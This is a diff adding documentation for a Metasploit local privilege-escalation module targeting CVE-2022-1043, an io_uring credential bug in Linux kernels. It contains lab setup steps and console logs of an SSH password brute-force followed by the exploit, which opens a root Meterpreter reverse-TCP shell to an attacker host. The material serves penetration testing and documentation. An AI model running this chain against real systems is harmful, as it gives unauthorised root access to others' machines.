cve-2022-1043

2022-11-26 13:52:23 -05:00
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+## Vulnerable Application
+
+This module exploits a bug in io_uring leading to an additional `put_cred()`
+that can be exploited to hijack credentials of other processes.
+
+We spawn SUID programs to get the free'd cred object reallocated by a
+privileged process and abuse them to create a SUID root binary ourselves
+that'll pop a shell.
+
+The dangling cred pointer will, however, lead to a kernel panic as soon as
+the task terminates and its credentials are destroyed. We therefore detach
+from the controlling terminal, block all signals and rest in silence until
+the system shuts down and we get killed hard, just to cry in vain, seeing
+the kernel collapse.
+
+The bug affected kernels from v5.12-rc3 to v5.14-rc7.
+
+Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic
+
+### Install
+
+To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions:
+
+1. Download the `linux-*` modules for a vulnerable kernel, such as https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.13.12/amd64/
+2. Install `libssl.1` (https://askubuntu.com/a/1403683)
+   1. `echo "deb http://security.ubuntu.com/ubuntu focal-security main" | sudo tee /etc/apt/sources.list.d/focal-security.list`
+   2. `sudo apt-get update`
+   3. `sudo apt-get install libssl1.1`
+   4. `sudo rm /etc/apt/sources.list.d/focal-security.list`
+3. `sudo apt-get install build-essential`
+4. `sudo dpkg -i *.deb`
+5. Follow [these instructions](https://gist.github.com/chaiyujin/c08e59752c3e238ff3b1a5098322b363) to boot the vuln kernel
+6. `sudo reboot`
+
+## Verification Steps
+
+1. Start msfconsole
+2. Get an initial user shell
+3. Do: `use linux/local/cve_2022_1043_io_uring_priv_esc`
+4. Do: `set session #`
+5. Do: `run`
+6. You should get a root shell.
+
+## Options
+
+## Scenarios
+
+### Ubuntu 22.04.01 with kernel 5.13.12-051312-generic
+
+Gain initial user access
+
+```
+msf6 > use auxiliary/scanner/ssh/ssh_login
+msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1
+rhosts => 1.1.1.1
+msf6 auxiliary(scanner/ssh/ssh_login) > set username ubuntu
+username => ubuntu
+msf6 auxiliary(scanner/ssh/ssh_login) > set password ubuntu
+password => ubuntu
+msf6 auxiliary(scanner/ssh/ssh_login) > run
+[*] 1.1.1.1:22 - Starting bruteforce
+[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
+[*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
+[*] Starting interaction with 1...
+id
+uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
+^Z
+Background session 1? [y/N]  y
+```
+
+priv esc
+
+```
+msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/cve_2022_1043_io_uring_priv_esc
+[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set session 1
+session => 1
+msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set verbose true
+verbose => true
+msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > exploit
+[!] SESSION may not be compatible with this module:
+[!]  * incompatible session architecture: 
+[*] Started reverse TCP handler on 2.2.2.2:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] Kernel version 5.13.12-051312-generic appears to be vulnerable
+[+] The target is vulnerable. > 1 CPU required, detected: 2
+[+] gcc is installed
+[*] Live compiling exploit on system...
+[*] Max line length is 65537
+[*] Writing 8074 bytes in 1 chunks of 29166 bytes (octal-encoded), using printf
+[*] Writing '/tmp/.5wGdoS' (282 bytes) ...
+[*] Max line length is 65537
+[*] Writing 282 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
+[*] Launching exploit...
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045348 bytes) to 1.1.1.1
+[*] [~] forking helper process...
+[+] Deleted /tmp/.iMpuegK0
+[+] Deleted /tmp/.5wGdoS
+[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:35026) at 2022-11-25 17:18:36 -0500
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 1.1.1.1
+OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+```